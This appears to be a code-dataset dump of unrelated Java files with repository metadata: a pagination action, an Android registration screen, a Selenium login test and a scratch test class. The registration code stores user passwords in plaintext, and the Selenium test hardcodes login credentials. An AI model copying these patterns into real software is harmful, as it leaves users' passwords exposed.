public List<Debordement_NOC> getListDebNoc() {
return listDebNoc;
}
public void setListDebNoc(List<Debordement_NOC> listDebNoc) {
this.listDebNoc = listDebNoc;
}
public List<Date> getListDate() {
return listDate;
}
public void setListDate(List<Date> listDate) {
this.listDate = listDate;
}
@Override
protected boolean validateMetier() {
return true;
}
@Override
protected String executeMetier() {
try{
if(page < 1)
page = 1;
else if(nrPages != 0 && page > nrPages)
page = nrPages;
if(nrPerPage == 0)
nrPerPage = PilotageConstants.NB_INCIDENTS_PER_PAGE;
pagination = new Pagination<Debordement_NOC>(page, nrPerPage);
listDebNoc = DebordementNOCDatabaseService.getAll(pagination);
listDate = new ArrayList<Date>();
for(Debordement_NOC dn : listDebNoc){
Date d = dn.getDatetime().toDate();
listDate.add(d);
}
return OK;
} catch (Exception e) {
error = getText("error.message.generique") + " : " + e.getMessage();
erreurLogger.error("Affichage liste debordement NOC - ", e);
return ERROR;
}
}
}
| 2,398 | 0.693078 | 0.683486 | 104 | 21.057692 | 20.574362 | 71 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.730769 | false | false | 1 |
4fa88cd56310ec592eab51acff8fa856591e0a51 | 19,507,741,503,110 | 31bcf7704a5032155057caf22617b28fc6ee9311 | /family-core/src/main/java/net/ollie/family/people/names/Names.java | 3773f8ba337423b6c8cee334d2bbae65f3b4e35e | []
| no_license | Leperous/family-builder | https://github.com/Leperous/family-builder | fe678344044c4ef581762b9282732050d466296e | 19b898b1da44c2fa2b7ebbbf265fdd868e323cc8 | refs/heads/master | 2016-09-06T03:35:35.108000 | 2015-04-07T16:22:14 | 2015-04-07T16:22:14 | 33,541,286 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package net.ollie.family.people.names;
/**
*
* @author Ollie
*/
public interface Names {
Name parse(String name);
}
| UTF-8 | Java | 126 | java | Names.java | Java | [
{
"context": " net.ollie.family.people.names;\n\n/**\n *\n * @author Ollie\n */\npublic interface Names {\n\n Name parse(Stri",
"end": 63,
"score": 0.9992985725402832,
"start": 58,
"tag": "NAME",
"value": "Ollie"
}
]
| null | []
| package net.ollie.family.people.names;
/**
*
* @author Ollie
*/
public interface Names {
Name parse(String name);
}
| 126 | 0.650794 | 0.650794 | 11 | 10.454545 | 13.075748 | 38 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | false | false | 1 |
6005bca44703fec668260034f992a9aaca5638fe | 19,507,741,503,436 | ce33aa33fb70e88ea34cf0b975125e7a4ee0f705 | /TH2-1/app/src/main/java/com/example/lab2/activities/register.java | 2294d2e7a9891bcdd95e7b1627dda9e0fe5dd204 | []
| no_license | vutuyetmai130398/android | https://github.com/vutuyetmai130398/android | 93c31c1a91cdb51f39a11933d01d4acadddbfaed | 5f67ca80bce99205cbedeabe096367dd8ca8513f | refs/heads/master | 2020-08-09T23:20:46.376000 | 2019-10-15T08:07:37 | 2019-10-15T08:07:37 | 214,198,741 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package com.example.lab2.activities;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import com.example.lab2.MainActivity;
import com.example.lab2.R;
import com.example.lab2.database.SQLiteConnector;
import com.example.lab2.model.User;
public class register extends AppCompatActivity implements View.OnClickListener {
private final AppCompatActivity activity = register.this;
private EditText email;
private EditText username;
private EditText password;
private Button register;
private Button back;
private SQLiteConnector sqLiteConnector;
private User user;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.register);
getSupportActionBar().hide();
initView();
initListener();
initObjects();
}
private void initView(){
email = findViewById(R.id.email);
username=findViewById(R.id.username2);
password=findViewById(R.id.password2);
register=findViewById(R.id.register2);
back=findViewById(R.id.back);
}
private void initListener(){
register.setOnClickListener(this);
back.setOnClickListener(this);
}
private void initObjects(){
sqLiteConnector = new SQLiteConnector(this);
user = new User();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.register2:
postDataToSQLite();
break;
default:
Toast.makeText(getApplicationContext(), "Backing", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, LoginActivity.class);
startActivity(intent);
break;
}
}
private void postDataToSQLite() {
Toast.makeText(getApplicationContext(), "Info....", Toast.LENGTH_LONG).show();
if(!sqLiteConnector.checkUser(username.getText().toString().trim(), password.getText().toString().trim())){
user.setEmail(email.getText().toString().trim());
user.setUsername(username.getText().toString().trim());
user.setPassword(password.getText().toString().trim());
sqLiteConnector.addUser(user);
Toast.makeText(getApplicationContext(), "Successful to resgister....", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, LoginActivity.class);
emptyInput();
startActivity(intent);
}
else {
Toast.makeText(getApplicationContext(), "Error in resgistering ...", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, MainActivity.class);
emptyInput();
startActivity(intent);
}
}
private void emptyInput() {
email.setText("");
username.setText("");
password.setText("");
}
}
| UTF-8 | Java | 3,260 | java | register.java | Java | [
{
"context": "(R.id.email);\r\n username=findViewById(R.id.username2);\r\n password=findViewById(R.id.password2);",
"end": 1245,
"score": 0.9720313549041748,
"start": 1236,
"tag": "USERNAME",
"value": "username2"
},
{
"context": "d.username2);\r\n password=findViewById(R.id.password2);\r\n register=findViewById(R.id.register2);",
"end": 1293,
"score": 0.8902584314346313,
"start": 1284,
"tag": "PASSWORD",
"value": "password2"
}
]
| null | []
| package com.example.lab2.activities;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import com.example.lab2.MainActivity;
import com.example.lab2.R;
import com.example.lab2.database.SQLiteConnector;
import com.example.lab2.model.User;
public class register extends AppCompatActivity implements View.OnClickListener {
private final AppCompatActivity activity = register.this;
private EditText email;
private EditText username;
private EditText password;
private Button register;
private Button back;
private SQLiteConnector sqLiteConnector;
private User user;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.register);
getSupportActionBar().hide();
initView();
initListener();
initObjects();
}
private void initView(){
email = findViewById(R.id.email);
username=findViewById(R.id.username2);
password=findViewById(R.id.<PASSWORD>);
register=findViewById(R.id.register2);
back=findViewById(R.id.back);
}
private void initListener(){
register.setOnClickListener(this);
back.setOnClickListener(this);
}
private void initObjects(){
sqLiteConnector = new SQLiteConnector(this);
user = new User();
}
@Override
public void onClick(View v) {
switch (v.getId()) {
case R.id.register2:
postDataToSQLite();
break;
default:
Toast.makeText(getApplicationContext(), "Backing", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, LoginActivity.class);
startActivity(intent);
break;
}
}
private void postDataToSQLite() {
Toast.makeText(getApplicationContext(), "Info....", Toast.LENGTH_LONG).show();
if(!sqLiteConnector.checkUser(username.getText().toString().trim(), password.getText().toString().trim())){
user.setEmail(email.getText().toString().trim());
user.setUsername(username.getText().toString().trim());
user.setPassword(password.getText().toString().trim());
sqLiteConnector.addUser(user);
Toast.makeText(getApplicationContext(), "Successful to resgister....", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, LoginActivity.class);
emptyInput();
startActivity(intent);
}
else {
Toast.makeText(getApplicationContext(), "Error in resgistering ...", Toast.LENGTH_LONG).show();
Intent intent = new Intent(activity, MainActivity.class);
emptyInput();
startActivity(intent);
}
}
private void emptyInput() {
email.setText("");
username.setText("");
password.setText("");
}
}
| 3,261 | 0.622699 | 0.619939 | 99 | 30.929293 | 25.622061 | 115 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.707071 | false | false | 1 |
d249568ac50d8a4ef6b76dc34b162fe8398a230b | 8,864,812,555,899 | 948216a014aa313e36a42fa0e7109a49064562a0 | /KantinenApp/app/src/main/java/lassnitz/kantinenapp/helpers/DataBaseColumn.java | d538f4b7ba21ed72338ba97183ff857c32c2e3f2 | []
| no_license | sklphd14/KantinenApp | https://github.com/sklphd14/KantinenApp | 2f978186758318abee902b340f46444526432a26 | 782481fbf3fa5d426f5bea862a2c0e5d18aa91bd | refs/heads/master | 2020-01-13T22:46:57.772000 | 2017-08-06T13:07:28 | 2017-08-06T13:07:28 | 93,881,492 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package lassnitz.kantinenapp.helpers;
/**
* Created by Fabio on 7/28/2017.
*/
public class DataBaseColumn
{
public String KEY;
public String COLUMN_NAME;
private DataBaseType columnType;
public DataBaseColumn(String KEY, String COLUMN_NAME, DataBaseType COLUMN_TYPE) {
this.KEY = KEY;
this.COLUMN_NAME = COLUMN_NAME;
this.columnType = COLUMN_TYPE;
}
public String COLUMN_TYPE()
{
return columnType.toString();
}
}
| UTF-8 | Java | 483 | java | DataBaseColumn.java | Java | [
{
"context": "e lassnitz.kantinenapp.helpers;\n\n/**\n * Created by Fabio on 7/28/2017.\n */\npublic class DataBaseColumn\n{\n ",
"end": 62,
"score": 0.9996481537818909,
"start": 57,
"tag": "NAME",
"value": "Fabio"
}
]
| null | []
| package lassnitz.kantinenapp.helpers;
/**
* Created by Fabio on 7/28/2017.
*/
public class DataBaseColumn
{
public String KEY;
public String COLUMN_NAME;
private DataBaseType columnType;
public DataBaseColumn(String KEY, String COLUMN_NAME, DataBaseType COLUMN_TYPE) {
this.KEY = KEY;
this.COLUMN_NAME = COLUMN_NAME;
this.columnType = COLUMN_TYPE;
}
public String COLUMN_TYPE()
{
return columnType.toString();
}
}
| 483 | 0.658385 | 0.643892 | 22 | 20.954546 | 20.616581 | 85 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.454545 | false | false | 1 |
184d2fd3c0d73d3b3a03966bc692489930ea37c0 | 9,835,475,160,281 | 3039f5ef490e16a319b2f25b016e90237b9b2497 | /src/test/Java/com/cybertek/MondayHW/LogInLogOut.java | b7f2db4f5622d54f535030eb4d1bf375d78a74da | []
| no_license | bbayam/Firstmavenapp | https://github.com/bbayam/Firstmavenapp | a3fa631e4c471fc61d3010ec19abda4373e15272 | 68967685cf130a191b17ed2f8a940c339ca3c073 | refs/heads/master | 2023-05-10T19:02:41.358000 | 2019-07-27T22:35:23 | 2019-07-27T22:35:23 | 199,219,156 | 0 | 0 | null | false | 2023-05-01T20:20:59 | 2019-07-27T22:32:03 | 2019-07-27T22:36:30 | 2023-05-01T20:20:59 | 101 | 0 | 0 | 1 | Java | false | false | package com.cybertek.MondayHW;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebDriver;
import com.cybertek.utilities.BrowserFactory;
import java.util.concurrent.TimeUnit;
public class LogInLogOut {
static WebDriver driver = BrowserFactory.getDriver("chrome");
public static void main(String[] args) throws Exception {
Test1();
}
public static void Test1() throws Exception{
driver.manage().window().maximize();
driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS);
driver.get("http://practice.cybertekschool.com/login");
driver.findElement(By.name("username")).sendKeys("tomsmith");
driver.findElement(By.name("password")).sendKeys("SuperSecretPassword", Keys.ENTER);
String ExpectedMessage= "You entered invalid credentials";
String ActualMessage = driver.findElement(By.className("subheader")).getText();
if(ExpectedMessage.equals(ActualMessage)){
System.out.println("Login Successful");
}else {
System.out.println("login Failed");
}
Thread.sleep(2000);
driver.findElement(By.xpath("//*[@id=\"content\"]/div/a")).click();
Thread.sleep(2000);
driver.close();
}
}
| UTF-8 | Java | 1,304 | java | LogInLogOut.java | Java | [
{
"context": "driver.findElement(By.name(\"username\")).sendKeys(\"tomsmith\");\n driver.findElement(By.name(\"password\")",
"end": 701,
"score": 0.9996950626373291,
"start": 693,
"tag": "USERNAME",
"value": "tomsmith"
},
{
"context": "driver.findElement(By.name(\"password\")).sendKeys(\"SuperSecretPassword\", Keys.ENTER);\n\n String ExpectedMessage= \"",
"end": 782,
"score": 0.9994118213653564,
"start": 763,
"tag": "PASSWORD",
"value": "SuperSecretPassword"
}
]
| null | []
| package com.cybertek.MondayHW;
import org.openqa.selenium.By;
import org.openqa.selenium.Keys;
import org.openqa.selenium.WebDriver;
import com.cybertek.utilities.BrowserFactory;
import java.util.concurrent.TimeUnit;
public class LogInLogOut {
static WebDriver driver = BrowserFactory.getDriver("chrome");
public static void main(String[] args) throws Exception {
Test1();
}
public static void Test1() throws Exception{
driver.manage().window().maximize();
driver.manage().timeouts().implicitlyWait(20, TimeUnit.SECONDS);
driver.get("http://practice.cybertekschool.com/login");
driver.findElement(By.name("username")).sendKeys("tomsmith");
driver.findElement(By.name("password")).sendKeys("<PASSWORD>", Keys.ENTER);
String ExpectedMessage= "You entered invalid credentials";
String ActualMessage = driver.findElement(By.className("subheader")).getText();
if(ExpectedMessage.equals(ActualMessage)){
System.out.println("Login Successful");
}else {
System.out.println("login Failed");
}
Thread.sleep(2000);
driver.findElement(By.xpath("//*[@id=\"content\"]/div/a")).click();
Thread.sleep(2000);
driver.close();
}
}
| 1,295 | 0.664877 | 0.655675 | 48 | 26.145834 | 27.941151 | 92 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.479167 | false | false | 1 |
6448a07dbf99a1dae9371664d855af7d4dfae70b | 3,118,146,288,760 | 25a3be51af7a12c40fef27518bb82901818af334 | /ch02/src/ch08/OperationsPromotionExample.java | b177862e38e5912fda987dbd3875efd1698771cc | []
| no_license | YoungmyoungKim/BigDataWithJavaSpirng | https://github.com/YoungmyoungKim/BigDataWithJavaSpirng | 00e9e415d4a0e0f8049f7d18e6d3321cc71c287d | d2d86efd0ff524ac48cf257164fcc7953773a398 | refs/heads/main | 2023-01-28T04:33:58.644000 | 2020-12-04T04:04:23 | 2020-12-04T04:04:23 | 313,873,666 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package ch08;
//자바는 정수 연산일 경우 int 타입으로 변환 후 연산 함. 피연산자를 4byte 단위로 저장하기 때문.
//(byte, short, char, int) -> int
public class OperationsPromotionExample {
public static void main(String[] args) {
byte byteValue1=10;
byte byteValue2=20;
//byte byteValue3= byteValue1+byteValue2; //int + int -> int
int intValue1=byteValue1+byteValue2; //int + int -> int
System.out.println(intValue1);
char charValue1='A';
char charValue2=1;
//int + int -> int
//char charValue3=charValue1+charValue2; //int 타입의 결과를 char에 저장 X
int intValue2=charValue1+charValue2;
//출력시 char 타입으로 강제 변환 후 출력 가능
System.out.println("유니코드 = "+intValue2); //int로 66, 0x41
System.out.println("출력문자 = "+(char)intValue2); //문자로 'B'
int intValue3=10;
int intValue4=intValue3/4;
System.out.println(intValue4);
int intValue5=10;
//int intValue6=10/4.0; // int / double -> double
double doubleValue = intValue5 / 4.0;
System.out.println(doubleValue);
}
}
| UHC | Java | 1,171 | java | OperationsPromotionExample.java | Java | []
| null | []
| package ch08;
//자바는 정수 연산일 경우 int 타입으로 변환 후 연산 함. 피연산자를 4byte 단위로 저장하기 때문.
//(byte, short, char, int) -> int
public class OperationsPromotionExample {
public static void main(String[] args) {
byte byteValue1=10;
byte byteValue2=20;
//byte byteValue3= byteValue1+byteValue2; //int + int -> int
int intValue1=byteValue1+byteValue2; //int + int -> int
System.out.println(intValue1);
char charValue1='A';
char charValue2=1;
//int + int -> int
//char charValue3=charValue1+charValue2; //int 타입의 결과를 char에 저장 X
int intValue2=charValue1+charValue2;
//출력시 char 타입으로 강제 변환 후 출력 가능
System.out.println("유니코드 = "+intValue2); //int로 66, 0x41
System.out.println("출력문자 = "+(char)intValue2); //문자로 'B'
int intValue3=10;
int intValue4=intValue3/4;
System.out.println(intValue4);
int intValue5=10;
//int intValue6=10/4.0; // int / double -> double
double doubleValue = intValue5 / 4.0;
System.out.println(doubleValue);
}
}
| 1,171 | 0.640428 | 0.591837 | 35 | 27.4 | 21.940439 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.228571 | false | false | 1 |
012d8c54a353ad51bb0c410e7218e6fa8e2117e1 | 21,088,289,480,029 | be68bcbe1055784dfd723aa47ccca52f310fda5f | /sources/android/support/p010v7/widget/C0378ca.java | ba962e746e37ed6ff8235199b5327cb3fcfbb951 | []
| no_license | nicholaschum/DecompiledEvoziSmartLED | https://github.com/nicholaschum/DecompiledEvoziSmartLED | 02710bc9b7ddb5db2f7fbbcebfe21605f8e889f8 | 42d3df21feac3d039219c3384e12e56e5f587028 | refs/heads/master | 2023-08-18T01:57:52.644000 | 2021-09-17T20:48:43 | 2021-09-17T20:48:43 | 407,675,617 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | package android.support.p010v7.widget;
import android.view.View;
/* renamed from: android.support.v7.widget.ca */
final class C0378ca implements Runnable {
/* renamed from: a */
final /* synthetic */ View f1756a;
/* renamed from: b */
final /* synthetic */ C0376bz f1757b;
C0378ca(C0376bz bzVar, View view) {
this.f1757b = bzVar;
this.f1756a = view;
}
public final void run() {
this.f1757b.smoothScrollTo(this.f1756a.getLeft() - ((this.f1757b.getWidth() - this.f1756a.getWidth()) / 2), 0);
this.f1757b.f1747a = null;
}
}
| UTF-8 | Java | 591 | java | C0378ca.java | Java | []
| null | []
| package android.support.p010v7.widget;
import android.view.View;
/* renamed from: android.support.v7.widget.ca */
final class C0378ca implements Runnable {
/* renamed from: a */
final /* synthetic */ View f1756a;
/* renamed from: b */
final /* synthetic */ C0376bz f1757b;
C0378ca(C0376bz bzVar, View view) {
this.f1757b = bzVar;
this.f1756a = view;
}
public final void run() {
this.f1757b.smoothScrollTo(this.f1756a.getLeft() - ((this.f1757b.getWidth() - this.f1756a.getWidth()) / 2), 0);
this.f1757b.f1747a = null;
}
}
| 591 | 0.629442 | 0.522843 | 23 | 24.695652 | 26.08087 | 119 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.434783 | false | false | 1 |
162ff5b9a8421cb81dba9623928ab3e9b6827d83 | 33,517,924,826,959 | d0cdb1837b25057ca2d1ecf78a1ec4f65c882d5c | /src/test.java | 3026ab2852ca189286aca1a21e515b354aa337f2 | []
| no_license | komiss77/Ostrov | https://github.com/komiss77/Ostrov | 7486a434e21815df835ea2129fda8fe5c91055ad | 6c5a5a45640188861761d59438ee06c2bb230592 | refs/heads/master | 2023-08-22T10:14:14.946000 | 2023-08-19T05:39:03 | 2023-08-19T05:39:03 | 440,251,096 | 0 | 1 | null | false | 2022-04-30T19:31:02 | 2021-12-20T17:19:40 | 2022-02-16T15:24:51 | 2022-04-30T19:31:02 | 107,812 | 0 | 1 | 0 | Java | false | false |
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.TimeZone;
import ru.komiss77.objects.CaseInsensitiveMap;
import ru.komiss77.utils.DateUtil;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author gate
*/
public class test {
private static final Calendar calendar;
static {
calendar = Calendar.getInstance();
calendar.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
calendar.setTimeInMillis(System.currentTimeMillis());
}
public static void main(String[] args) {
// log("DAY_OF_YEAR="+calendar.get(Calendar.DAY_OF_YEAR));
// String s = "йуегшщзфыв";
CaseInsensitiveMap<String> m = new CaseInsensitiveMap<String>();
m.put("aaa", "aaa");
m.put("AAA", "aaa");
log ("get aaa = "+m.get("aaa")+" size="+m.size());
log ("get AAA = "+m.get("AAA")+" size="+m.size());
/* String v = "git-Paper-119 (MC: 1.19.2)";
int idx = v.indexOf("(MC: ")+5;
v = v.substring(idx).replaceFirst("\\)", "");;
log(v);
int x = 0;
int z = 2;
int y = 3500;
y = y+16384;
int sLoc = (x&0xF)<<20 | (z&0xF)<<16 | y;
int strX = (sLoc>>20) & 0xF; //00000000 xxxx0000 00000000 00000000
int strZ = (sLoc>>16) & 0xF; //00000000 0000zzzz 00000000 00000000
int strY = (sLoc & 0xFFFF) - 16384; //00000000 00000000 yyyyyyyy yyyyyyyy
int i = (139 / 4) * 4;
*/
// int i = 4;
// double m = (double)i/10;
// log(""+m);
/*HashSet <XYZ> set = new HashSet<>();
final XYZ xyz = new XYZ("aaa", 1, 2, 3);
set.add(xyz);
System.out.println("set1="+set);
final XYZ xyz2 = new XYZ("aaa", 1, 2, 3);
set.remove(xyz);
System.out.println("set2="+set);
System.out.println("xyz equals xyz?"+(xyz.equals(xyz2)));
System.out.println("xyz==xyz?"+(xyz==xyz2));*/
/* long l = 1;
int y = -20;
int p = 30;
log("l="+l);
log("y="+y);
log("p="+p);*/
//log(">>"+Long.toHexString(l)+"<<<");
//log(">>"+msg.substring(ind+1)+"<<<");
// int portal = nearly(x, y ,z); //&b1100
//String s = "world,-63,99,22,daaria";
//log("§5 target="+target.toString());
// for (int xx=-5; xx<=5; xx++) {
// int nearly = nearly( (x+xx), y, z );
// System.out.println(" x="+(x+xx)+" y="+y+" z="+z+" nearly="+nearly+" portal?"+(portal==nearly) );
// }
}
// private static String toBin(int num) {
// return String.format("%32s", Integer.toBinaryString(num)).replaceAll(" ", "0");
// }
//private static int nearly(int x, int y, int z) {
// System.out.print("nearly: x="+x+" x&0xC="+(x&0xC));
// return (x&0xFFFC)<<16 | (y&0xFFFC)<<8 | z&0xFFFC;
//}
private static void log(final String s) {
System.out.println(s);
}
public static void mainaaaa(String[] args) {
// LocalDate ld = LocalDate.now();
//System.out.println(dateFromStamp(ld.));
Calendar calendar = Calendar.getInstance();
calendar.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
//calendar.setFirstDayOfWeek(0);
calendar.setTimeInMillis(System.currentTimeMillis());
//System.out.println(dateFromStamp(calendar.getTimeInMillis()));
out(calendar);
//while (calendar.get(Calendar.DAY_OF_WEEK) != Calendar.MONDAY) {
// calendar.add(Calendar.DATE, -1);
// }
calendar.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);
calendar.set(Calendar.HOUR_OF_DAY, 0);
calendar.set(Calendar.MINUTE, 0);
calendar.set(Calendar.SECOND, 0);
out(calendar);
calendar.add(Calendar.DATE, -5*7);
//int currentMonday = (int) (calendar.getTimeInMillis()/1000);
//calendar.setTimeInMillis(currentMonday*1000);
//System.out.println("currentMonday="+currentMonday+" DAY_OF_WEEK="+calendar.get(Calendar.DAY_OF_WEEK)+" "+DateUtil.dayOfWeekName(calendar.get(Calendar.DAY_OF_WEEK)));
// int fiveWeeksAgo = currentMonday - 7*5*24*60*60;
// calendar.setTimeInMillis(fiveWeeksAgo*1000);
out(calendar);
calendar.set(Calendar.HOUR, 23);
calendar.set(Calendar.MINUTE, 59);
calendar.set(Calendar.SECOND, 59);
// int dayEnd = fiveWeeksAgo+24*60*60-1;
// calendar.setTimeInMillis(dayEnd*1000);
out(calendar);
//for (int i = 1; i <=100; i++) {
// calendar.add(Calendar.HOUR_OF_DAY, 1);
// out(calendar);
//}
//out(calendar);
}
public static void out(Calendar calendar) {
System.out.println( (int)(calendar.getTimeInMillis()/1000)+" "
+dateFromStamp(calendar.getTimeInMillis())
+" month="+(calendar.get(Calendar.MONTH)+1)+" DATE="+calendar.get(Calendar.DATE)+" DAY_OF_WEEK="+calendar.get(Calendar.DAY_OF_WEEK)
+" "+calendar.get(Calendar.HOUR_OF_DAY)+":"+calendar.get(Calendar.MINUTE)
+" "+DateUtil.dayOfWeekName(calendar.get(Calendar.DAY_OF_WEEK)));
}
public static String dateFromStamp(long stamp) {
Date date=new java.util.Date(stamp);
SimpleDateFormat full_sdf = new java.text.SimpleDateFormat("dd.MM.yy HH:mm");
//date.setTime(stamp_in_second*1000L);
return full_sdf.format(date);
}
}
/* Random rnd = new Random();
Map<String,Integer> pl = new HashMap<>(5);
pl.put("komiss77", 50); //hider chanct = 50
pl.put("40_1", 40);
pl.put("40_2", 40);
pl.put("60", 60);
pl.put("80_1", 80);
pl.put("80_2", 80);
//pl.put("10", 10);
//final ValueSortedMap<String, Integer> hiderChanceMap = new ValueSortedMap<>();
for (final String name : pl.keySet()) {
//рандом от 0 до шанса прятаться
//будут рассортированы в порядке увеличения шанса прятаться
//из начала мапы берём охотников, из конца - зайцев
int hideChance = rnd.nextInt(pl.get(name));
pl.replace(name, hideChance);
System.out.println(" --replace "+name+" : "+hideChance);
}
log("");
log("sorted:");
Stream<Map.Entry<String,Integer>> sorted = pl.entrySet().stream().sorted(Map.Entry.comparingByValue());
final List<String> sortedList = new ArrayList<>(pl.size());
for (Entry<String,Integer> entry : sorted.toList()) {
log(entry.getKey()+":"+entry.getValue());
sortedList.add(entry.getKey());
}
//while (!hiderChanceMap.isEmpty()) {
// Entry<String,Integer> entry = hiderChanceMap.pollFirstEntry();
// log(entry.getKey()+":"+entry.getValue());
//}
//for (final String name : hiderChanceMap.descendingKeySet()) {
//log(name+":"+hiderChanceMap.get(name));
//}
log("");
log("sortedList="+sortedList);
log("");
boolean seeker = true;
int hiderCount = 2;//hidersPerSeker;
String name;
while (!sortedList.isEmpty()) {
if (seeker) {
//name = sortedList.get(0);
name = sortedList.remove(0);
log(name+">> seeker");
seeker=false;
//System.out.println(" --add seeker list="+sortBySeekChancrList);
} else {
if (hiderCount>0) {
name = sortedList.remove(sortedList.size()-1);
log(name+">> hider");
hiderCount--;
//System.out.println(" --add hider list="+sortBySeekChancrList +" hiderCount="+hiderCount);
}
if (hiderCount==0) {
//System.out.println(" --hiderCount=0! seeker = true list="+sortBySeekChancrList);
hiderCount = 2;//hidersPerSeker;
seeker = true;
}
}
}*/
| UTF-8 | Java | 8,658 | java | test.java | Java | [
{
"context": "the template in the editor.\n */\n\n/**\n *\n * @author gate\n */\npublic class test {\n \n private static f",
"end": 405,
"score": 0.9992407560348511,
"start": 401,
"tag": "USERNAME",
"value": "gate"
},
{
"context": "ar.DAY_OF_YEAR));\n \n // String s = \"йуегшщзфыв\";\n CaseInsensitiveMap<String> m = new Case",
"end": 838,
"score": 0.6824230551719666,
"start": 829,
"tag": "PASSWORD",
"value": "уегшщзфыв"
},
{
"context": "nteger> pl = new HashMap<>(5);\n pl.put(\"komiss77\", 50); //hider chanct = 50\n pl.put(\"40_1\"",
"end": 6032,
"score": 0.648383378982544,
"start": 6028,
"tag": "USERNAME",
"value": "iss7"
},
{
"context": " //из начала мапы берём охотников, из конца - зайцев\n int hideChance = rnd.nextInt(pl.ge",
"end": 6550,
"score": 0.6495821475982666,
"start": 6547,
"tag": "NAME",
"value": "зай"
},
{
"context": " //из начала мапы берём охотников, из конца - зайцев\n int hideChance = rnd.nextInt(pl.get(n",
"end": 6553,
"score": 0.536017894744873,
"start": 6551,
"tag": "NAME",
"value": "ев"
}
]
| null | []
|
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.util.TimeZone;
import ru.komiss77.objects.CaseInsensitiveMap;
import ru.komiss77.utils.DateUtil;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
/**
*
* @author gate
*/
public class test {
private static final Calendar calendar;
static {
calendar = Calendar.getInstance();
calendar.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
calendar.setTimeInMillis(System.currentTimeMillis());
}
public static void main(String[] args) {
// log("DAY_OF_YEAR="+calendar.get(Calendar.DAY_OF_YEAR));
// String s = "й<PASSWORD>";
CaseInsensitiveMap<String> m = new CaseInsensitiveMap<String>();
m.put("aaa", "aaa");
m.put("AAA", "aaa");
log ("get aaa = "+m.get("aaa")+" size="+m.size());
log ("get AAA = "+m.get("AAA")+" size="+m.size());
/* String v = "git-Paper-119 (MC: 1.19.2)";
int idx = v.indexOf("(MC: ")+5;
v = v.substring(idx).replaceFirst("\\)", "");;
log(v);
int x = 0;
int z = 2;
int y = 3500;
y = y+16384;
int sLoc = (x&0xF)<<20 | (z&0xF)<<16 | y;
int strX = (sLoc>>20) & 0xF; //00000000 xxxx0000 00000000 00000000
int strZ = (sLoc>>16) & 0xF; //00000000 0000zzzz 00000000 00000000
int strY = (sLoc & 0xFFFF) - 16384; //00000000 00000000 yyyyyyyy yyyyyyyy
int i = (139 / 4) * 4;
*/
// int i = 4;
// double m = (double)i/10;
// log(""+m);
/*HashSet <XYZ> set = new HashSet<>();
final XYZ xyz = new XYZ("aaa", 1, 2, 3);
set.add(xyz);
System.out.println("set1="+set);
final XYZ xyz2 = new XYZ("aaa", 1, 2, 3);
set.remove(xyz);
System.out.println("set2="+set);
System.out.println("xyz equals xyz?"+(xyz.equals(xyz2)));
System.out.println("xyz==xyz?"+(xyz==xyz2));*/
/* long l = 1;
int y = -20;
int p = 30;
log("l="+l);
log("y="+y);
log("p="+p);*/
//log(">>"+Long.toHexString(l)+"<<<");
//log(">>"+msg.substring(ind+1)+"<<<");
// int portal = nearly(x, y ,z); //&b1100
//String s = "world,-63,99,22,daaria";
//log("§5 target="+target.toString());
// for (int xx=-5; xx<=5; xx++) {
// int nearly = nearly( (x+xx), y, z );
// System.out.println(" x="+(x+xx)+" y="+y+" z="+z+" nearly="+nearly+" portal?"+(portal==nearly) );
// }
}
// private static String toBin(int num) {
// return String.format("%32s", Integer.toBinaryString(num)).replaceAll(" ", "0");
// }
//private static int nearly(int x, int y, int z) {
// System.out.print("nearly: x="+x+" x&0xC="+(x&0xC));
// return (x&0xFFFC)<<16 | (y&0xFFFC)<<8 | z&0xFFFC;
//}
private static void log(final String s) {
System.out.println(s);
}
public static void mainaaaa(String[] args) {
// LocalDate ld = LocalDate.now();
//System.out.println(dateFromStamp(ld.));
Calendar calendar = Calendar.getInstance();
calendar.setTimeZone(TimeZone.getTimeZone("Europe/Moscow"));
//calendar.setFirstDayOfWeek(0);
calendar.setTimeInMillis(System.currentTimeMillis());
//System.out.println(dateFromStamp(calendar.getTimeInMillis()));
out(calendar);
//while (calendar.get(Calendar.DAY_OF_WEEK) != Calendar.MONDAY) {
